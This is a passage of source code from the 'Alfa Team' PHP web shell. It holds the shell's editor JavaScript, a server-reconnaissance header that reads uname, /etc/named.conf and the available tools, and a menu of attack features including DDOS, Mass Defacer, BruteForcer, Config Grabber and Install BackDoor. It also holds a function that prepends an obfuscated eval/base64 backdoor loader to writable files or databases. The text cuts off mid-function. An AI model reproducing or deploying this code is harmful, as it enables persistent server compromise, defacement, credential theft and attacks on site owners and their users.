0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id=\'"+e+"\' class=\'history\' onClick=\'reopen(this);\'><div class=\'editor-icon\'>"+loadType(a,i,e)+"</div><div class=\'editor-file-name\'>"+a+"</div></div><div class=\'history-close\' onClick=\'removeHistory(\\""+e+"\\");\'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class=\'editor-icon\'>"+loadType(editor_files[t].file,e,t)+"</div><div class=\'editor-file-name\'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return\'<img src="http://solevisible.com/icons/{type}" width="30" height="30">\'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor(\'"+a+"\',\'auto\',\'\',\'\',\'\',\'file\')"),$(r).setAttribute("onclick","editor(\'"+a+"\',\'edit\',\'\',\'\',\'\',\'"+s+"\')"),$(n).setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g(\'FilesMan\', \'"+c_+"/"+a+"\')")),$(i).setAttribute("onclick","editor(\'"+a+"\',\'chmod\',\'\',\'\',\'\',\'"+s+"\')"),$(l).setAttribute("onclick","editor(\'"+a+"\',\'rename\',\'\',\'\',\'\',\'"+s+"\')"),$(o).setAttribute("onclick","editor(\'"+a+"\',\'touch\',\'\',\'\',\'\',\'"+s+"\')"),$(d).setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\\/\\//g,"/"),l=l.replace(/\\/\\//g,"/"),-1!=(t=t.replace(/\\/\\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\\/\\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",JSON.stringify(editor_files),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\\/\\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};\r\n</script>\r\n<?php echo"<form style=\'display:none;\' id=\'dlForm\' action=\'\' target=\'_blank\' method=\'post\'>\r\n<input type=\'hidden\' name=\'a\' value=\'dlfile\'>\r\n<input type=\'hidden\' name=\'c\' value=\'\'>\r\n<input type=\'hidden\' name=\'file\' value=\'\'>\r\n</form>\r\n<input type=\'file\' style=\'display:none;\' id=\'importFileBtn\' onchange=\'importConfig(event);\'>\r\n<div id=\'a_loader\'><img src=\'".__showicon(\'loader\')."\'></div>";\r\n$cmd_uname = alfaEx("uname -a",false,false);\r\n$uname = function_exists(\'php_uname\') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:\'( php_uname ) Function Disabled !\');\r\nif($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}\r\necho \'\r\n</head>\r\n<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">\r\n<div id="up_bar_holder"></div>\r\n<div class="whole">\r\n<form method="post" name="mf" style="display:none;">\r\n<input type="hidden" name="a">\r\n<input type="hidden" name="c" value="\'.$GLOBALS[\'cwd\'].\'">\';\r\nfor($s=1;$s<=10;$s++){\r\necho \'<input type="hidden" name="alfa\'.$s.\'">\';\r\n}\r\necho \'<input type="hidden" name="charset">\r\n</form>\r\n<div id=\\\'hidden_sh\\\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">\'.__ALFA_CODE_NAME__.\'</span><br><small>Version: <span class="hidden_shell_version">\'.__ALFA_VERSION__.\'</span></small></a></div>\r\n<div class="header"><table width="100%" border="0">\r\n<tr>\r\n<td width="3%"><span class="header_vars">Uname:</span></td>\r\n<td colspan="2"><span class="header_values" id="header_uname">\'.$uname.\'</span></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">User:</span></td>\r\n<td><span class="header_values" id="header_userid">\'. $uid . \' [ \' . $user . \' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">\' . $gid . \' [ \' . $group . \' ]</span> </td>\r\n<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">PHP:</span></td>\r\n<td><b>\'.@phpversion(). \' </b><span class="header_vars"> Safe Mode: \'.$safe_modes.\'</span></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">ServerIP:</span></td>\r\n<td><b>\'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]).\'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> \'.@$_SERVER["REMOTE_ADDR"].\'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>\r\n</tr>\r\n<tr>\r\n<td width="3%"><span class="header_vars">DateTime:</span></td>\r\n<td colspan="2"><b>\'.date(\'Y-m-d H:i:s\').\'</b></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">Domains:</span></td>\r\n<td width="76%"><span class="header_values" id="header_domains">\';\r\nif($GLOBALS[\'sys\']==\'unix\'){\r\n$d0mains = _alfa_file("/etc/named.conf",false);\r\nif(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{\r\n$count=0;\r\nforeach($d0mains as $d0main){\r\nif(@strstr($d0main,"zone")){\r\npreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\nflush();\r\n$count++;}}}\r\necho "$count Domains";}}\r\nelse{echo("Cant Read [ /etc/named.conf ]");}\r\necho \'</span></td>\r\n</tr>\r\n<tr>\r\n<td height="16"><span class="header_vars">HDD:</span></td>\r\n<td><span class="header_vars">Total:</span><b>\'.alfaSize($totalSpace).\' </b><span class="header_vars">Free:</span><b>\' . alfaSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</b></td>\r\n</tr>\';\r\nif($GLOBALS[\'sys\']==\'unix\'){\r\n$useful_downloader = \'<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>\';\r\nif(!@ini_get(\'safe_mode\')){\r\nif(strlen(alfaEx("id",false,false))>0){\r\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>\';\r\n$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzialfa2\',\'nc\',\'locate\',\'suidperl\');\r\n$x=0;\r\nforeach($userful as $item)if(alfaWhich($item)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item.\'</span>\';}\r\nif($x==0){echo "<span class=\'header_values\' id=\'header_useful\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\r\necho \'</td>\r\n</tr>\r\n<tr>\r\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span>\';\r\n$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n$x=0;\r\nforeach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item2.\'</span>\';}\r\nif($x==0){echo "<span class=\'header_values\' id=\'header_downloader\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\r\necho \'</td>\r\n</tr>\';\r\n}else{\r\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\r\n}\r\n}else{\r\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\r\n}\r\n}else{\r\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>\';\r\necho alfaEx(\'ver\',false,false);\r\necho \'</td>\r\n</tr> <tr>\r\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>\r\n</tr></b>\';\r\n}\r\n$quotes = (function_exists(\'get_magic_quotes_gpc\')?get_magic_quotes_gpc():\'0\');if ($quotes == "1" or $quotes == "on"){$magic = \'<b><span class="header_on">ON</span>\';}else{$magic = \'<span class="header_off">OFF</span>\';}\r\necho \'<tr>\r\n<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>\'.Alfa_GetDisable_Function().\'</b></td>\r\n</tr>\r\n<tr>\r\n<td height="16" colspan="2"><span class="header_vars">CURL :</span>\'.$curl.\' | <span class="header_vars">SSH2 : </span>\'.$ssh2.\' | <span class="header_vars">Magic Quotes : </span>\'.$magic.\' | <span class="header_vars"> MySQL :</span>\'.$mysql.\' | <span class="header_vars">MSSQL :</span>\'.$mssql.\' | <span class="header_vars"> PostgreSQL :</span>\'.$pg.\' | <span class="header_vars"> Oracle :</span>\'.$or.\' \'.($GLOBALS[\'sys\']=="unix"?\'| <span class="header_vars"> CGI :</span> \'.$cgi_shell:"").\'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>\r\n</tr>\r\n<tr>\r\n<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>\'.$open_b.\'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>\'.$safe_exe.\'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>\'.$safe_include.\'</b></td>\r\n</tr>\r\n<tr>\r\n<td height="11"><span class="header_vars">SoftWare: </span></td>\r\n<td colspan="2"><b>\'.@getenv(\'SERVER_SOFTWARE\').\'</b></td>\r\n</tr>\';\r\nif($GLOBALS[\'sys\']=="win"){\r\necho \'<tr>\r\n<td height="12"><span class="header_vars">DRIVE:</span></td>\r\n<td colspan="2"><b>\'.$drives.\'</b></td>\r\n</tr>\';\r\n}\r\necho \'<tr>\r\n<td height="12"><span class="header_vars">PWD:</span></td>\r\n<td colspan="2"><span id="header_cwd">\'.$cwd_links.\' </span><a href="#action=fileman&path=\'.$GLOBALS[\'home_cwd\'].\'" onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')"><span class="home_shell">[ Home Shell ]</span> </a></td>\r\n</tr>\r\n</table>\r\n</div>\r\n<div id="meunlist">\r\n<ul>\r\n\';\r\n$li = array(\'proc\'=>\'Process\',\'phpeval\'=>\'Eval\',\'sql\'=>\'SQL Manager\',\'dumper\'=>\'Database Dumper\',\'coldumper\'=>\'Column Dumper\',\'hash\'=>\'En-Decoder\',\'connect\'=>\'BC\',\r\n\'zoneh\'=>\'ZONE-H\',\'dos\'=>\'DDOS\',\'safe\'=>\'ByPasser\',\'cgishell\'=>\'Cgi Shell\',\'ssiShell\'=>\'SSI SHELL\',\'cpcrack\'=>\'Hash Tools\',\r\n\'portscanner\'=>\'Port Scaner\',\'basedir\'=>\'Open BaseDir\',\'mail\'=>\'Fake Mail\',\'ziper\'=>\'Compressor\',\'deziper\'=>\'DeCompressor\',\'IndexChanger\'=>\'Index Changer\',\'pwchanger\'=>\'Add New Admin\',\'ShellInjectors\'=>\'Shell Injectors\',\r\n\'php2xml\'=>\'PHP2XML\',\'cloudflare\'=>\'CloudFlare\',\'Whmcs\'=>\'Whmcs DeCoder\',\'symlink\'=>\'Symlink\',\'MassDefacer\'=>\'Mass Defacer\',\'Crackers\'=>\'BruteForcer\',\'searcher\'=>\'Searcher\',\'config_grabber\'=>\'Config Grabber\',\'fakepage\'=>\'Fake Page\',\'archive_manager\'=>\'Archive Manager\',\r\n\'cmshijacker\'=>\'CMS Hijacker\',\'remotedl\'=>\'Remote Upload\',\'inbackdoor\'=>\'Install BackDoor\',\'whois\'=>\'Whois\',\'selfrm\'=>\'Remove Shell\'\r\n);\r\nforeach($li as $key=>$value){\r\necho(\'<li><a id="menu_opt_\'.$key.\'" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=\'.$key.\'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=\'.$key.\'\\\';g(\\\'\'.$key.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">\'.$value.\'</a></li>\'."\\n");\r\n}\r\necho \'</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=settings\\\';g(\\\'settings\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=market\\\';g(\\\'market\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=aboutus\\\';g(\\\'aboutus\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">About Us</a>\'.(!empty($_COOKIE[\'AlfaUser\']) && !empty($_COOKIE[\'AlfaPass\']) ? \'<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>\':\'\').\'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="\'.$GLOBALS[\'cwd\'].\'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\\\'/\\\',1);">New Tab +</div></div>\';}else{\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'magic_quotes_runtime\', 0);\r\n@set_time_limit(0);\r\n}}\r\nfunction alfalogout(){\r\n@setcookie("AlfaUser", null, 2012);\r\n@setcookie("AlfaPass", null, 2012);\r\nunset($_COOKIE[\'AlfaUser\'],$_COOKIE[\'AlfaPass\']);\r\necho("ok");\r\n}\r\nfunction showAnimation($name){\r\n\treturn \'-webkit-animation: \'.$name.\' 800ms ease-in-out forwards;-moz-animation: \'.$name.\' 800ms ease-in-out forwards;-ms-animation: \'.$name.\' 800ms ease-in-out forwards;animation: \'.$name.\' 800ms ease-in-out forwards;\';\r\n}\r\nfunction __showicon($r){\r\n\t$s[\'btn\']=\'http://solevisible.com/images/btn.png\';\r\n\t$s[\'alfamini\']=\'http://solevisible.com/images/alfamini.png\';\r\n\t$s[\'loader\']=\'http://solevisible.com/images/loader.svg\';\r\n\t//return \'data:image/png;base64,\'.__get_resource($s[$r]);\r\n\treturn $s[$r];\r\n}\r\nfunction alfainbackdoor(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'file\\\')">| In File | </a><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'db\\\')">| In DataBase | </a></h3></center>\';\r\n$error = \'<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>\';\r\n$success= \'<font color="green">Success...!\';\r\n$textarea = "<div style=\'display:none;\' id=\'backdoor_textarea\'><div class=\'txtfont\'>Your Shell:</div><p><textarea name=\'shell\' rows=\'19\' cols=\'103\'><?php\\n\\techo(\'Alfa Team is Here...!\');\\n?></textarea></p></div>";\r\n$select = "<div class=\'txtfont\'>Use:</div> <select name=\'method\' style=\'width:155px;\' onChange=\'inBackdoor(this);\'><option value=\'alfa\'>Alfa Team Uploader</option><option value=\'my\'>My Private Shell</option></select>";\r\n$cwd = \'Example: /home/alfa/public_html/index.php\';\r\nif($_POST[\'alfa1\']==\'file\'){\r\necho("<center><p><div class=\'txtfont_header\'>| In File |</div></p><p><form onsubmit=\\"g(\'inbackdoor\',null,\'file\',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\\">{$select} <div class=\'txtfont\'>Backdoor Loader:</div> <input type=\'text\' name=\'file\' size=\'50\' placeholder=\'{$cwd}\'> <div class=\'txtfont\'>Key: </div> <input type=\'text\' name=\'key\' size=\'10\' value=\'alfa\'> <input type=\'submit\' value=\' \'>{$textarea}</form></p></center>");\r\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa4\']!=\'\'){\r\n$method = $_POST[\'alfa2\'];\r\n$file = $_POST[\'alfa3\'];\r\n$shell = $_POST[\'alfa4\'];\r\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa5\']));\r\nif($key==\'\')$key=\'alfa\';\r\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\r\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x("\'.$shell.\'");exit;}?>\';\r\nif(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}\r\nif($_POST[\'alfa1\']==\'db\'){\r\necho("<center><p><div class=\'txtfont_header\'>| In DataBase |</div></p>".getConfigHtml(\'all\')."<p><form onsubmit=\\"g(\'inbackdoor\',null,\'db\',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\\">");\r\n$table = array(\'td1\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n\'td2\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td3\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td4\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td5\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Backdoor Loader: \', \'inputName\' => \'file\', \'inputValue\' => $cwd, \'inputSize\' => \'50\', \'placeholder\' => true),\r\n\'td6\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Key: \', \'inputName\' => \'key\', \'inputValue\' => \'alfa\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho("<p>{$select}</p>");\r\necho($textarea);\r\necho("<p><input type=\'submit\' value=\' \'></p></form></p></center>");\r\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa5\']!=\'\'&&$_POST[\'alfa6\']!=\'\'){\r\n$dbhost = $_POST[\'alfa2\'];\r\n$dbuser = $_POST[\'alfa3\'];\r\n$dbpw = $_POST[\'alfa4\'];\r\n$dbname = $_POST[\'alfa5\'];\r\n$file = $_POST[\'alfa6\'];\r\n$method = $_POST[\'alfa7\'];\r\n$shell = $_POST[\'alfa8\'];\r\n$key = 